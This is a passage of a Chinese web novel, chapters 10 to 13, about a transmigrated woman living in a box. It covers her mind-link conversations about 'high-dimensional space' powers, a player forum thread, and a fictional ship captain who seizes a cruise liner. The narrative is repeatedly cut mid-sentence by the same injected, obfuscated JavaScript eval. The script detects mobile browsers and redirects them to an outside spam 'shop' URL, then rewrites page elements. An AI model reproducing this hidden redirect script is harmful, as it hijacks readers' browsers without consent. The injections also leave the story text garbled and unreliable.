【亚尔弗】：别！停止说这种话！ 终于破防了。 她冷笑：“你也杀不了我第二次，处心积虑接近我和我说话，不就是暗恋我吗？我们以前是相爱相杀的关系？八九不离十。” 【亚尔弗】：我头皮发麻。 她：“我也头皮发麻。” 【亚尔弗】：下次别说这种话了。 “你不用那种恶心的方式说话，我也放过你。”她总算舒坦了一点。亚尔弗那种又装又让人不爽的第三人称说话方式，她实在忍很久了。 【亚尔弗】：不过，你和她还真是一模一样……我几乎分不清你们之间的区别了。 又出现了“她”，但这次却指的是实在的第三方。 丛黎警觉起来。 她直觉地认为亚尔弗口中的“她”是原来的渡鸦，就是十年前被他们合力谋杀的那位受害者。 而亚尔弗知道现在住在盒子里的，是另一个“渡鸦”。 她直接问：“你知道我和她的区别，既然如此，为什么找上门来恶心我？” 【亚尔弗】：就连套情报的方式都一样。实话说，我不是上门来恶心你的，只是来查看一下你的情况。 【亚尔弗】：锁住你的那个人和你有共感，他知道你已经离开秘密基地，让我们来看看你的情况。 锁住她的那个人，和她有共感！ 丛黎深呼吸一口气。 她以为她逃离了黎家的追兵后就自由了，没想到她的一举一动还是被人握在手里。 这穿越的天崩开局。 她冷静下来：“那个人叫什么名字？我们总不能一直‘那个人’‘那个人’地叫。” 难怪刚才亚尔弗一直用第三人称说话，极有可能是在和“那个人”交流。 【亚尔弗】：他叫黎舍之。 “黎家……” 【亚尔弗】：黎舍之是黎舍之，黎家是黎家，不要把两者混为一谈。 “你们没有恶意，我可以确认这一点吗？”她问。 【亚尔弗】：你可以完全相信我们，虽然我们曾杀了你。先别急！等我慢慢解释。 这话听起来怪荒谬的。 但她没有反驳，听了下去。 【亚尔弗】：渡鸦在十年前差点被异能吞噬。我们杀了她。但是在十年后，变成意识体的她还是不可避免地被异能吞噬了。 【亚尔弗】：她的异能和你一样，是“高维空间”。 不用亚尔弗继续说下去，丛黎也猜到了。 她的瞳孔遽缩，颤抖着。 “渡鸦”在十年后被异能高维空间吞噬了。 丛黎来自高维空间。 ——“渡鸦”被来自高维空间的丛黎吞噬了。 穿越，不就是夺舍、不就是吞噬吗？ 难道这就是她穿越的真相吗？ 不，如果渡鸦被异能吞噬，导致高维空间的丛黎穿越到这里，那么其他的玩家算什么？ 【亚尔弗】：其实这本来不算什么，毕竟吞噬渡鸦的是高维空间的渡鸦本人，和她一模一样，简直就是本人。问题在于，“高维空间”的吞噬不限于个体，它会集体降临，在这个世界的每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462234|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落都会有高维人的降临。 丛黎：“高维空间的人类……玩家。” 【亚尔弗】：是的，整个世界会因为“玩家”的到来而变得混乱无比。 【亚尔弗】：所以我们杀了渡鸦，免得高维空间降临，这确实在一定程度上奏效了，有十年之久。 丛黎：“但是十年后，高维空间降临了，说明在这个世界上的其他角落里，有其他人开发了‘高维空间’这个异能，并被吞噬了。” 【亚尔弗】：事实就是这样……我们阻止了一个渡鸦，却没想到还有另一个“高维空间”异能者。 丛黎静默着思考。 信息量太大，她的脑子快要爆炸了。 原来这就是游戏开始后，玩家集体穿越的原因吗？ 起因竟然是异能“高维空间”的失控。 她知道在异能和异能吞噬人类中间，还有其他环节，还有其他未曾被发现的真相。 “你们这次来找我，是有求于我？”她开口。 【亚尔弗】：我们希望能阻止下一次高维空间的降临。 “要我去找到另一个‘高维空间’异能者，解决那个人，然后解决我自己。是吗？” 【黎舍之】：……不。 【黎舍之】：丛黎，我请求你这次活下去，获得尽可能多的异能抗体，活下去。 她愣了一下，对忽然出现的第三人感到惊疑，随后又释然了：能做到意识连接的只有亚尔弗，现在是亚尔弗在牵线。 【黎舍之】：除了这条请求以外没有了。阻止高维空间第二次降临这个任务太重了，我不希望你被绑架。 她对这个未曾谋面的“凶手”之一观感良好：“我确实不想被绑架，也承担不起什么拯救世界的任务。我只能说，走一步看一步，我能做到哪一步就做到哪一步。我所能做的就只有这么多。” 【黎舍之】：另外。 丛黎：“你说话别大喘气。” 【黎舍之】：如果你想从盒子里出去，来定岛找我。 【亚尔弗】：转告就到这里为止。 丛黎急了：“等等，你把话说完！你别下线啊！什么岛，我怎么去，谁给我引路？” 【亚尔弗】：到时间就知道了，急什么。 “你这个人烦人。”她一和亚尔弗这个欠扁的家伙说话就烦躁。 【亚尔弗】：到时候见了他别动手，给他留条命，算是我求你的。 丛黎逮住机会：“我可以答应你，但是你立刻马上从我的意识连接里滚出去。” 【亚尔弗】：知道了我会滚的，高维空间的渡鸦小姐。 10. 刺客之跃10 亚尔弗从她的意识连接里滚蛋得很利落。 就像肉骨头掉到地上的瞬间就被狗捡走一样利落。 丛黎怀疑以前的渡鸦和亚尔弗有私仇，毕竟光是那只逼真的电子蟑螂就把她膈应得够呛。 不管怎么样，现在的她也和他结仇了。她出去后一定要弄点硕大无比的蟑螂为亚尔弗的生活增添亮色。 亚尔弗离开后，丛黎开始复盘刚才对话中透露出来的信息。 第一，游戏玩家集体穿越是因为除她以外的另一个“高维空间”异能者被异能吞噬了。高维空间降临，目前没有得出被穿越人身份的规律。 只有一点是可以确定的：另一个高维空间异能者被吞噬，现在掌控那具身体的必然和她一样，是个玩家。 论坛上喊一嗓子，能找到另一个高维空间异能者吗？ 她很快否决了这个可能性。 游戏论坛没有私聊功能，玩家和他们现在所处的立场错综复杂，并非完全的利益共同体，并且玩家中也鱼龙混杂，如果有心怀歹意的人看到了帖子，反而会招致不必要的麻烦。 思前想后，她在论坛上发了自己的第一个帖子。 ［无意中知道穿越真相了啊啊啊啊啊啊啊啊啊啊救命］ 楼主（有点方）：标题党了致歉，各位开发了异能的朋友都小心点，大公司在收集你们的异能抗体，等级越高越容易成为猎物。之前有玩家已经在论坛上提醒过了，那个帖子热度不高，我再开一个。 标题党果然有用，很快就有跟帖。 2L：一脸震惊点进来，一脸失望点出去。 5L：标题里的楼主语气幻视尖叫小老鼠，点进来发现楼主语气冷静，想象了一下冷酷无情大佬面无表情地打下那行“啊啊啊啊”时的场景，居然有点反差萌。 6L（有点方）：关于标题：如果异能是高维空间，就会被高维人夺舍，甚至导致高维空间降临。 她有些犹豫地按下“发送”。 同一时间，系统弹出了提醒消息：【恭喜获得任务“穿越真相”的线索碎片A】 丛黎眼睛都瞪大了：这又是什么？这条提醒消息又是公屏投放的吗？还是说除了她以外还有其他玩家获得了线索？ 或许是因为此时在刷论坛的玩家都看到了飘在论坛前几条的帖子“无意中知道穿越真相了”，那条帖子在瞬间多了数百围观者。 8L：**（屏蔽词），发生什么事了？触发线索碎片的是这位“有点方”吗？ 15L：看帖子发表时间是这样的，在楼主发完“高维人夺舍”那条消息后，系统消息就来了。 丛黎眼前一黑：这条系统消息果然是公屏投放的。 她是不是该庆幸之前“获得冷青异能抗体”那条系统消息没有全服公开？ 33L：所以我们的穿越真相，是有一个“高维空间”异能者被反噬了？ 34L：楼上真相了，这应该就是楼主想表达的。 98L：楼主的异能是“高维空间”吗？ 100L：异能是“高维空间”的玩家能不能自己站出来说一声，我们顺着这个思路想想，说不定能穿越回去呢。 104L：100楼你是不是傻？谁会站出来？现在站出来只会变成全服公敌。 看到这里，她抓紧机会发了一条。 105L（有点方）：100楼，如果是你，你会站出来吗？必死无疑的举动。 106L：捕捉楼主！ 107L：看来楼主不是“高维空间”异能者，只是帮朋友站出来说一嘴。 120L：虽然是匿名论坛，也没有IP显示，但是爆出来压力也会很大，是我我也不想承受这个压力。 由于系统消息的公开提醒，玩家默认“穿越真相”就是玩家“有点方”提示的那样。 另一方面，关于异能反噬和世界观的讨论也开始源源不断。 356L：细思极恐，既然探索穿越真相是游戏任务，那么“穿越”也是游戏的一环吗？ 帖子刷得头疼。 丛黎关了论坛投影。 不知道是不是因为“论坛”是唯一躲过联邦监控的网友分享聚集地，玩家们一天天的网上冲浪强度都很高。 她继续复盘和亚尔弗的对话。 第二，黎舍之和黎家不是一伙的，为什么盒子会被锁在黎家家族大楼顶楼？中间还发生过什么？亚尔弗口中的“我们”属于哪个势力？ 黎舍之和她共享着感官体验，他会知道游戏论坛和系统的存在吗？ ——等等，黎舍之即便不知道论坛和系统，也应该听到了她和玩家冷青之间的交谈。 事情越思考越复杂。 丛黎默默在心里“嗷”了几声发泄，决定暂停思考。 盒子外。 雇佣兵霜从607舱房离开后，苍术立刻拉开抽屉，对盒子道：“给你透透气。” 丛黎：“谢谢。” “我还是认为你应该待在我的口袋里。”苍术担忧地道。 她直截了当地拒绝：“你会遮住我的视线，我开远景的时候会看到你的身体。” 苍术愣了一下：“远景，身体？” 丛黎：“我的异能附加功能，我可以透过障碍物看到远方的景象，也就是我可以透过你的衣服看到你的身体。” 不着寸缕的身体，肌肉线条分明的身体，充满力量感的身体。 苍术表现得有点呆滞：“你……感到困扰吗？” 她怔了一下：“没有，不是——算了，放口袋里就口袋里，至少口袋里没有蟑螂。” 这种美好的身体，多看看也没关系。 “那我把你放在口袋里了。”他小心翼翼地把盒子揣进衣服口袋里。 她同意了：“嗯。” 苍术的芯片被时刻监视着。 而她和一个名叫黎舍之的陌生人分享着感官体验。 从某种意义上来说，她和苍术算是同病相怜，没什么隐私和自由的可怜虫。 她里莎船长号启航第一天晚上，大约八点钟时分，舱房门铃再次响起来。 在门口的是一个机器人：“三楼的零重力舞池将在九点以后开放，欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462235|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎您的到来！您也可以选择上门特殊服务！” 脑内通讯的另一端，阿魏一边搜索资料一边道：“是肉/*体交易。要小心点，一旦表现出了禁欲倾向，仇视猎杀仿生人的帮派恐怕会借机怀疑并锁定你。还真有这样的案例，三个月前一个仿生人因为色/*欲淡薄被守卫帮抓住了……不是，还真有啊，光凭这个难道真的能找到仿生人吗……太离谱了。” 盒子里的丛黎：“人类是好色的动物，我就直白地承认了吧我也是。” 苍术对机器人道：“抱歉，下次不用对我宣传这些服务了，我的亡妻一直在我身边。” 机器人的反应慢了两秒：“好的，我将记下您的需求，您是607……很抱歉打扰到了您，我深表同情和歉意，愿您节哀顺变。” 门关上了。 接下护送任务的雇佣兵霜在给苍术做乘客登记的时候，写清楚了他带的是骨灰盒。 机器人大概是在数据库里找到了这条，结合线索，自然而然地推断出“一直在身边的骨灰盒就是亡妻”这样的结论。 阿魏：“这样一来，也能离守卫帮那些人远一点了。” 正在脑内交谈，舱房外震耳欲聋的声音猛然像海浪扑在船体上。 轰，金属板被撞击了一下。 可以听得出来是一场激烈的肉搏，但并不是纯粹的赤手空拳，而是机械义肢和机械义肢之间的争斗。 金属材质和行为芯片赋予的能力让这场打斗变得更为凶猛。 “对面打起来了。”苍术听了一下，断定道。 霜说过，对面舱房是谈交易的。 看来是在做黑交易的时候出现了意外。 丛黎在空气墙上开了“三级远景”，只瞅了一眼对面舱房的情形就关了。 啧，血腥。 大约半分钟后，走道上出现了沉重的脚步声。 透过二级远景，丛黎看到一个穿着机械护具的船上工作人员来到了对面舱房门口，身边跟着的一名保镖打开门，动作粗暴地把里面打架的四位揪了出来。 随后，那个机械护具船员抬起手，施放了一个结界！ “要打去里面打，别损坏设备。” 宣传零重力舞池和特殊服务的机器人也正在舱房区走道上，在结界的光芒绽开时，机器人也和那四个船客一起消失在了走道上。 “好像有个□□器人也进去了。”保镖察觉到了不对劲，对那个结界异能者船员道。 结界异能者船员露出无奈的表情，做了个手势，撕开结界：“劳烦你进去一下，把那个阿呆拎出来。” 丛黎大开眼界，这不比武侠世界的同福客栈要周到得多？在这艘游览船上，居然有专门维护秩序的船员，用结界把争斗者围到斗兽场里一决生死。 大约五分钟后，结界光芒消失了。 对面舱房的四个船客每个都像烂香蕉一样斑驳。 急救中心的船员很快赶了过来，为他们执行“医疗海葬一条龙服务”，能救的救，救不了的就地海葬。 这艘游览船简直是漂浮在海上的法外之地。 11. 刺客之跃11 航行中的她里莎船长号速度不减。 即便透过号称清晰无比的外景眼镜，看到的海面和天空依然黑得像黑蒜汤，混沌的漂浮物隐隐约约。 对面舱房的闹剧终于结束了，过道上安静下来。 苍术从小冰箱里取出一些生鲜食材，打开食物处理炉：“你要吃夜宵吗？我可以给你做。” 丛黎在盒子里郁闷：“我又吃不了，不过谢谢你。” 苍术露出了有些担心的表情：“你这两天经常对我说谢谢，为什么？是因为和我疏远了吗？” 丛黎绝倒，被他的逻辑打败了，她给自己辩解道：“错了，恰恰相反。” 苍术若有所思：“那么，你会对陌生人很不客气，对熟悉信任的人反而会礼貌亲切吗？” 她嗯嗯点头：“在这个世界里是这样。这里坏人太多了，我必须保护自己，不能对随便一个陌生人太礼貌。” 他：“这个世界里……” 苍术看起来有点高兴，他做夜宵的时候嘴角都带着微末的弧度。 “你要做什么菜？你会做什么？”她问。 “金枪鱼炒海带。”他说。 她哈哈哈笑起来。 他真诚地发问：“这个搭配并不好吗？” 她笑道：“没有，你做着吧，我等着。” 苍术切好鲜海带丝，刚放下刀，舱房内便一片漆黑。 航行服务通讯器、宣传屏幕、警报器、食物处理炉……所有电器都灭了指示灯。 “航行刚开始的时候，船上就断过一次电，难道又断电了吗？”丛黎疑惑道。 苍术沉默了几秒：“不，这次连信号都断了。” “什么信号？” …… 芯片信号丢失。 屏幕上鲜红的提示让阿魏心脏猛的一抽。 “桑寄！出问题了。” 照理来说，信号接收区已经覆盖大部分海域，除了部分至今神秘危险的海域会导致信号丢失以外，船只行驶在正常航线上不会出现信号问题。 “苍术的芯片信号丢失，我们和他断联了。” …… 她里莎船长号中乱成了一锅粥。 “疑似黑客入侵船只控制台，我们正在尝试发电并寻找原因，请各位稍安勿躁。” 连接不上电源，只能使用储能电器。船员拿着储能扩音器，照着手电筒，在走道上不停重复。 各楼层的提示声音远远近近前前后后地回响着，和一束束手电筒光交织在一起，在错综复杂的过道里形成了诡异的声光氛围。 乘客的抱怨和愤怒像倾倒的汤底，沉淀坠落在地，蔓延散发出浓烈腥臭。 上船后第一次停电还能让这些各怀心思的人们稍微容忍，但第二次停电不仅时间更长，而且连信号都彻底被切断了。 正在享受夜生活的人们兴致被打断，犹如被点燃引线，咒骂便成了肾上/腺素的刺激剂。 零重力舞池失效，池中人成了瓮中鳖，摔落在地。 在一片漆黑中，607舱房被打开了。 苍术下意识隔着衣服布料按紧了口袋里的盒子，摆出身体戒备姿态。 “你是谁？”他质问道。 舱房里荡出回声。 来人笑了一声，声音犹如鬼魅：“原来如此，拿来吧。” 话音落下，一阵剧痛袭来。 苍术眼前忽然什么都没有了。 没有黑暗，没有光芒，用以扫描识别的眼睛失灵了。 安装在体内的行为芯片好像被一股无形的力量按住了，他无法动弹，保持着那个戒备的姿势。 不可能…… 他是储能型仿生人，就像手电筒一样，即使没有信号，行为芯片也能自动进行程序。 可是力量差距悬殊，来人似乎只是轻轻动了动手指，他的芯片就完全失效了。 不可能……救救…… 苍术的手死死地抓着盒子，维持着失效前一瞬的动作，他所有的意念和思考都在消散失效。 救…… 丛黎意识到苍术似乎不能动弹了，但她只能听到来人的声音，在空无之壁上看不到影像，只有一片漆黑。 “苍术！”她叫道。 她开启了二级远景，往空气墙里探入手一摸。 黏糊湿哒哒的触感，像是黏稠的汤底，包裹着冰冷的海水。 摸到的瞬间，鸡皮疙瘩起了一身！ 外面到底什么情况？这是什么？ 总不能是苍术做的“金枪鱼炒海带”吧？ 她想收回手，那个黏糊的东西却牢牢地粘住了她的手，仿佛还能听到拉丝的声音，腻滑的质感被她抓了一手。 外面那个东西想把她拖出去，或者说，想跟着她进来！ 恐慌的情绪一下子攫住了她。 “别怕，那是我的衣服。”低沉幽暗的声音传来，隐约能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462236|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到柔和的声线。 外面的那位，是个女人，不知道是否应该称为“人”。 湿滑的触感让丛黎感到整只手都快废了，她不停地用手指互相搓着。 不能让那个东西进来。 绝对不能让那个东西进来！ 丛黎一面拼命摆脱手上的黏糊触感，一面努力冷静下来，试图和外面那位谈判：“非礼了你真抱歉，你的衣服能从我的手上离开吗？你是谁，你要什么？” 外面那位笑了一声：“你们坐船都不先了解一下船的来历吗？” 船的来历…… 丛黎死命回忆着为数不多的线索。 什么什么船长号，游览船，属于什么什么公司，五天五夜，硫磺市是终点。 上船的时候，她还沉浸在冷青的死亡里，基本上没注意船上的宣传，更没了解这艘船的情况。 “叶提星！”她忽然喊道。 在苍术的芯片信号还和组织存在联系时，她不敢联系隔壁舱房。 毕竟，那是她的“仇人”“宿敌”。 现在她可以肆无忌惮地叫了：“亚尔弗！叶提星！” “快点告诉我，我们坐的是什么船！我上船的时候没仔细听！” 空气墙上耀眼的光芒迸发开来。 半边脸上有着黑色花纹刺青的叶提星出现在舱房门口，她施放了一个结界，把整个舱房里罩在其中。 光源重现，周围的一切都亮了起来。 “她里莎船长号，我们坐的船。”叶提星回答道。 她里莎船长是这个世界近代传说中的一个虚构角色。 原型是莉莎船长，不过人们像撒调味料一样，把众多的特质当作糖、盐、味精、孜然一样不要钱地加在了传说故事中。 在征服海洋尝试建造水下城的那段历史里，莉莎船长带领船队冲破迷雾和风暴，让信号覆盖到了大部分海域。 所以在传说故事中，她里莎船长有掌管风暴、迷雾和电磁信号的异能。 在结界内部的光亮中，丛黎在空无之壁上看到了那个外部生物的模样。 腐朽的海草生长在“她”的制服上，那就是黏腻触感的源头，青黛色的头发鬈曲而凌乱，脸色苍白，眼中仿佛有雾气笼罩，看不清神色。 “她”正注视着丛黎，用那双浸透了迷雾的眼睛似笑非笑，透过空气墙直直地看着她。 “我就是人们虚构出来的，她里莎船长。” 12. 刺客之跃12 她里莎船长号上乱成一团。 如同漆黑的汤底里沸腾跳跃的气泡，争先恐后，拥挤不堪，满是咒骂。 607舱房门开着，船员经过走道的时候，看到了光芒盛大的结界，嘟囔了一句：“这个时候还打架……” 巧合就是这样发生的。 船上负责秩序管理的船员会把发生冲突的当事人圈进结界里，以免对船上的设备产生损坏。 碰巧，在那一天船上还有一位结界能力者叶提星。 船员以为是寻常的斗殴事件，司空见惯地离开了607舱房附近，继续巡逻，因此也完全错过了导致全船停电并失去信号的源头。 结界内。 仿生人的行为芯片完全失效，眼神空洞，手里紧抓着盒子不放。 结界施放者叶提星身上的机械护具反光，她微微眯着眼睛，打量着眼前的对手：“她里莎船长？证据？” 她里莎船长转过身去看着叶提星，微微笑了笑：“这个世界上，没有人会拥有两种以上的异能吧？” 随着话音，船剧烈地倾侧，风浪如虎，猛然从深海掀起，竖立成高墙。如果此时从外景眼镜看出去，便能看到惊涛骇浪正如小山般向船压来，空气里遍布咸湿的气息。 停电停信号，又忽然遇到了海上风暴，船组工作人员急赤白脸：“突遇风暴，启动应急方案！” 船身在风浪的撼动下摇摇晃晃，正常吃水线很快被没过了，一侧甲板上满是水。危险的弧度甚至让人觉得下一秒就要船侧人翻。 即使身在结界里，还是能感觉到身体失去重心。 她里莎船长伸出手在虚空中点了点，顿时风平浪静。 高浪黑云一下子消失，应急方案启动到一半废置。 被戏耍的船员和船客心惊胆战惶惶不安，生怕下一秒会出现其他变故。 这是掌管风暴和迷雾的异能“天气之手”。 她里莎船长轻轻打了个响指。 船上电器设备霎时全亮，如同白昼。 “信号恢复了！”有人惊喜地叫出来。 这是掌管电磁信号的异能“电磁操控”。 “达到我的目的后，我就会恢复船上的电力和信号。” 她里莎船长再度关掉了电，船重新陷入黑暗中。 船长控制着整艘船的生死，她可以在顷刻之间让游览船倾覆。 意识到这一点的叶提星感到了问题的棘手之处，她皱起了眉：“既然如此，你的目的。” 船长不紧不慢地道：“她应该知道吧，她已经感受到了……” 船长制服上腐朽的海草仿佛拥有生命力般，张牙舞爪地朝苍术手中的盒子探过去，它们似乎被什么牵引着，缠绕着攀爬上苍术的手指，去触碰那个盒子。 丛黎四围的空无之壁正在往中心紧缩，二十平米的富婆大床不断缩水，从上到下。 她的一只手还在空气墙中，由于触碰到了黏腻的东西，无法摆脱无法缩回。 她有一瞬间觉得她的手会永远在空气墙内，而从头顶从周围向她涌来的空气墙让她有一种她会被空气墙吃掉的错觉。 她不知道空气墙内到底是什么，或许是维度和维度之间的过渡区，或许是其他的。 但她可以明确的是她里莎船长的意图。 “船长的目标是我，她可能需要高维能量。”丛黎说。 “虚构的人物，船长是从低维空间里过来的，说明有人觉醒了低维相关的异能，然后被低维人吃掉了。” 丛黎发现自己几乎无法把自己的手从空气墙里抽出来了，她倒吸了一口气。 船长脸上露出了笑意，低声重复了一句：“低维空间。” 叶提星的脸色变了。 和异能“高维空间”做了半辈子斗争的叶提星，猛然得知除了高维人会入侵这个世界外，还有低维人的入侵。 其实早该想到的，既然有“高维空间”，就会有“低维空间”。 从小说漫画和剧本中走出来的低维人，会通过异能“低维空间”入侵这个世界。 这些低维人比高维人更可怕，创作者把所有强大的特质不要钱地往纸片人身上撒，让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462237|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有人类想象中的最高战力。 叶提星面色凝重，第一次放弃了珍珠断链式的说话方式，她低声吼了一句：“请回你的世界！” 一个紧缩结界在船长身周形成，淡蓝的光芒包裹住船长如同鬼魅般的身形。 “看来你还是不知道情况的严重性。”船长笑了笑。 紧缩结界本该在圈住目标后不断缩水，直到将目标掐死为止，但这个结界在触碰到船长后却像肥皂泡一样破碎了。 “除了那两个被赋予的异能以外，我还有一个继承来的异能……” 重影一般，船长身边多了一个和她一模一样的女人。 同样是青黛色的卷发，同样是被海草缠绕的制服，同样迷雾笼罩的眼睛。 但和这个她里莎船长比起来，这个新出现的船长影子极淡，只有一圈若隐若现的轮廓。 叶提星的呼吸急促起来：“低维空间！你利用异能虚构了一个和你一样的……” 被人们虚构出来的她里莎船长来到了这个世界，她替代了原来的那个异能者，继承了“低维空间”异能。 同时，船长利用“低维空间”异能虚构了一个和她一样的角色。 不，那个二代“船长”和一代船长不一样。 “我的影子，我在创造她的时候，赋予了她一点新的东西。”她里莎船长对那个二代的影子道：“回去吧。” 二代船长的轮廓从她身边淡去。 简直是叠buff。 丛黎整个人被六面空气墙挤压着，她整个人都陷在空气墙中。 “低维空间”这个异能太犯规了。 只要不停地往自己所创造的角色里加上新能力，几乎是无敌的存在。 这到底是什么一出场就碰到终极BOSS的节奏？ 空气墙从四面八方将她穿透，她看到她的身体被空气墙切开。丛黎动弹不得，她抓住最后一丝神志： 她里莎船长的目标是盒子，要处理的是丛黎，是拥有“高维空间”的丛黎。 所以克制低维人的钥匙一定在她手里。 13. 刺客之跃13 海草缠住了盒子。 丛黎像是一只被装入真空袋的鹌鹑蛋，空气墙在她四围严丝合缝地封上，而后那个黏糊湿滑的东西像真空泵一样慢慢抽干她。 她的意识逐渐模糊。 外界的声音若隐若现。 是叶提星和她里莎船长谈判的声音。 叶提星：“你要盒子尽管拿走，反正我和她关系一般。好心提醒，她还有一个共生者，我不确定你吃掉她会不会遭到反噬。” 真空泵停下了。 丛黎很明显能感觉到缠住盒子的海草不再动作，给了她喘息的空间。 船长警惕地皱了皱眉：“什么共生者？” 叶提星见她的注意力被吸引，便抓住机会：“你不认识也不需要认识。你的目标是那个盒子，为什么？” 除了“黎舍之”这个情报，叶提星明白自己没有和船长谈判的筹码。 首先盒子的存在不能被外人知道，她不能寻求帮助。 其次全船人的性命在船长手中，而她的异能无法对船长造成什么伤害，反而会增加自己被异能吞噬的风险。 她要吊足船长的胃口，借机问出足够多的情报。亚尔弗和她的意识连接着，此时已经将这个紧急状况告知了总部，她要尽可能拖延时间，以获得总部的建议。 “盒子自己也说了，我要高维能量，这和你们的异能抗体是一样的。共生者到底是什么？”船长紧迫地追问。 叶提星冷声道：“撒谎。只要我没有得到我想要的，我不会告诉你关于共生者的情报。” 船长的手指一动，海草重新缠上盒子，她冷白的脸色在结界中显得有些诡异：“你觉得你有筹码了？我告诉你，我不在乎。” 叶提星云淡风轻地道：“你根本不是为了高维能量而来。因为你丝毫不担心被异能吞噬。你知道吞噬你的会是另一个船长，是你的影子。” 她加重语气：“但你要想好，如果你是被别人杀死的，你的影子就无法继承你的位置了。只有被异能吞噬的人才会开启下一个吞噬的回环。她里莎船长这个人会永远消失。” 啪！ 一根海草触手向叶提星的方向抽来，叶提星身上的机械护具启动，金属盔甲挡下了攻击。 “果然，你并不担心自己被异能吞噬，却担心落在别人手里。因此你来找盒子的目的很明确，你知道她能杀死你，彻底杀死你。” “你惧怕她。” 亚尔弗的消息还没传来，叶提星只能继续说下去。她这辈子就没说过这么多完整的话，太阳穴突突地疼。 船长讽刺地笑了出来：“我惧怕她？她对异能一无所知，也没多少求生意志，不知道自己在这个世界里要做什么。不然你以为我会那么容易进入她的过渡领域吗？” …… 对异能一无所知。 没多少求生意志。 不知道自己在这个世界里要做什么。 丛黎隐隐约约觉得自己好像被骂了。 不过对方骂得很精准。 从穿越到现在，她基本上没和外界接触过，唯一的存在实感是那次人物形象全息投影，但也是她想象出来的触觉。 玩家冷青死了，让她知道这个世界没有“复活点”，原来这个世界是真实存在的，是真的会死人。 然而说到底，她整个人依然是混混沌沌的，没有什么驱动力。 盒子被盗走，盒子被动接下刺杀总统的任务，盒子被动接受冷青的异能抗体，盒子被告知真相。 盒子被揣在口袋里，不由自己掌控。 丛黎感觉到意志在被挤压，思考能力缺胳膊断腿，不属于她的空白意志强行占据领地。 苍术的行为芯片失效大概也是这样，被橡皮擦抹消“自己”。 “这个仿生人的芯片已经死了，我多用了一点电磁操控它就死了。而她——” 船长看向盒子的眼神里带了一丝怜悯：“她和仿生人一样脆弱。” 长条海草蠕动生长着，像触手般牢牢裹住盒子，幽暗腐烂的黑绿色病态地蔓延，又如蛇群饥渴地缠绕上去。 盒面上，海草唯一不能触碰到的是苍术用手握着的地方。 他的手紧紧地攥着盒子，海草试图从他的手指下钻进去覆盖整个盒面，却迟迟无法占领所有缝隙。 叶提星本可以使用结界将盒子隔开，但船长的触手已经和盒子牢牢粘在了一起。 “共生者”的情报拖延着时间，船长没有下死手，但她也没有任何胜算。 意识连接中，亚尔弗的消息终于传来了。 【亚尔弗】：低维空间，第一次遇到这种异能。 这不是跟没说一样嘛。 叶提星深感棘手。 “我猜你在这个世界上应该已经有些年头了，你应该听说过黎舍之。”她只能放出一点情报，把黎舍之先出卖掉。 船长果然上套：“黎舍之？他就是那个共生者？” 在两人谈判时，仿生人的手指动了，他的指节弯曲，用力将爬上他手的海草慢慢撕开。 他的行为芯片在重启。 刺啦。 一瞬间，苍术的手腕一动，猛力撕掉了大部分海草！ 船长的影子从一边现身，这位二代船长虽然还只是被控制的工具，但她还具有异能“反弹”。 “电磁操控。”二代船长吐字极慢，利用异能再次控制住了重启后的苍术。 苍术瞳孔尚未完全空白，身体动作已经僵硬下来，他眼中映着二代船长拔出匕首的影子。 青黛色长发一掠而过，寒光闪闪的匕首握在她苍白如纸的手里仿佛合为一体。 她里莎船长向二代船长下了指令。 二代船长手中的锋刃举起，目标是那只握着盒子的手—— “船长。” 长眉凤眼的黑发女性虚影在结界内幽灵般显现，她动作迅速地伸手扣住了二代船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 